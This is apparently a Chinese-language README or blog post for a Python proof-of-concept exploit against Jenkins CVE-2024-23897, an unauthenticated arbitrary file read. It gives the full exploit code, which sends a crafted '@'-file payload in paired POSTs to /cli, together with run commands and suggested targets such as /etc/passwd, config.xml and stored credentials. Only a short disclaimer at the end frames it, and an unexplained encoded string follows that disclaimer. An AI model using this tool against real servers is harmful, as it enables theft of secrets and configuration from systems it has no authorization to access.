Jenkins CVE-2024-23897 漏洞利用工具 - 任意文件读取

3 阅读4分钟

Jenkins CVE-2024-23897 漏洞利用工具

这是一个针对 Jenkins 服务器中严重安全漏洞 CVE-2024-23897 的概念验证(PoC)利用工具。该漏洞存在于 Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本中,允许未认证的攻击者读取 Jenkins 控制器文件系统上的任意文件。

功能特性

  • 任意文件读取:利用 Jenkins CLI 命令解析器的特性,通过 '@' 字符后跟文件路径来读取服务器上的任意文件。
  • 多线程利用:采用双线程并发执行,有效提高漏洞利用的成功率和效率。
  • 简单易用:提供命令行接口,只需指定目标 URL 和要读取的文件路径即可。
  • 自动化流程:自动生成 UUID 会话标识,构造恶意 payload,并发送请求。

安装指南

系统要求

  • Python 3.x
  • 网络连接(用于访问目标 Jenkins 服务器)

依赖项

本工具使用 Python 标准库,无需安装额外的第三方包。依赖包括:

  • http.client:用于发送 HTTP 请求
  • argparse:用于解析命令行参数
  • threading:用于多线程并发
  • uuid:用于生成唯一会话标识
  • re:用于正则表达式匹配
  • sys:用于系统操作

安装步骤

  1. 下载或克隆本工具到本地:
git clone https://github.com/your-repo/jenkins-CVE-2024-23897.git
cd jenkins-CVE-2024-23897
  1. 无需额外安装,直接运行 Python 脚本:
python3 CVE-2024-23897.py -u <目标URL> -f <目标文件路径>

使用说明

基础使用示例

python3 CVE-2024-23897.py -u http://localhost:8888/ -f /etc/passwd

参数说明

  • -u, --targetUrl:必需,目标 Jenkins 服务器的 URL(例如:http://192.168.1.100:8080/)
  • -f, --targetFile:必需,要读取的远程文件路径(例如:/etc/passwd 或 C:\Windows\win.ini)

典型使用场景

  1. 检测漏洞:尝试读取 /etc/passwd 文件来验证目标是否存在漏洞。
  2. 读取配置文件:读取 jenkins/config.xml 等配置文件,获取敏感信息。
  3. 读取凭证:尝试读取存储 Jenkins 凭证的配置文件。

利用条件

为使此漏洞利用成功,目标 Jenkins 服务器必须满足以下条件之一:

  • 启用了遗留模式授权
  • 在“登录用户可以做任何事”授权模式下,勾选了“允许匿名读取访问”
  • 启用了注册功能

注意事项

  • 如果利用过程耗时过长或仅读取了文件的前几个字节,请终止程序并重新运行。
  • 该漏洞利用仅适用于 Jenkins 默认配置下的实例。
  • 手动利用可参考 jenkins-cli.jar 方式。

输出示例

   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|

Exploiting..
<文件内容>

核心代码

漏洞利用核心逻辑

def exploit(tarFile, target):
    uuidStr = str(uuid.uuid4())
    
    print("Exploiting..")
    # 构造恶意 payload,利用 '@' 后跟文件路径的特性
    payload = b'\x00\x00\x00\x0E\x00\x00\x0Cconnect-node\x00\x00\x00\x0E\x00\x00\x0C@' + tarFile.encode() + b'\x00\x00\x00\x07\x02\x00\x05UTF-8\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
       
    # 创建两个线程
    t1 = threading.Thread(target=first, args=(uuidStr, payload, target))
    t2 = threading.Thread(target=second, args=(uuidStr, target))
    # 启动线程
    t1.start()
    t2.start()
    # 等待两个线程完成
    t1.join()
    t2.join()

请求发送模块

def first(uuidStr, payload, target):
    try:
        conn = http.client.HTTPConnection(target)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuidStr,
            "Side": "upload",
            "Content-Type": "application/octet-stream"
        }, body=payload)

    except Exception as e:
       print(e)

def second(uuidStr, target):
    try:
        conn = http.client.HTTPConnection(target)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuidStr,
            "Side": "download"
        })
        
        final = conn.getresponse().read()
        
        print(final)

    except Exception as e:
       print(e)

主函数入口

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-23897")
    parser.add_argument("-u", '--targetUrl', required=True, help="The target URL")
    parser.add_argument("-f", '--targetFile', required=True, help="The target file")
    args = parser.parse_args()
    try:
        if args.targetUrl and args.targetFile:
            pattern = r"http[s]?://([^:/]+:\d+)/"
            match = re.search(pattern, args.targetUrl)
            target = match.group(1)
            ascii()
            exploit(args.targetFile, target)
            
    except Exception as e:
        sys.exit("Some error occured..")
        
if __name__ == "__main__":
    main()

参考资料


免责声明:本工具仅用于教育和授权测试目的。禁止非法或未经授权使用本工具。使用者需自行承担所有责任。 6HFtX5dABrKlqXeO5PUv/z9ZlGUoafCL0HVfqwd7VYjTLYHMRit0zDYSzIdv9Q9qXuKv1k7U5X7l5HPJcz0C2b3FiNJfFla0lQ5cUBF+Ev0=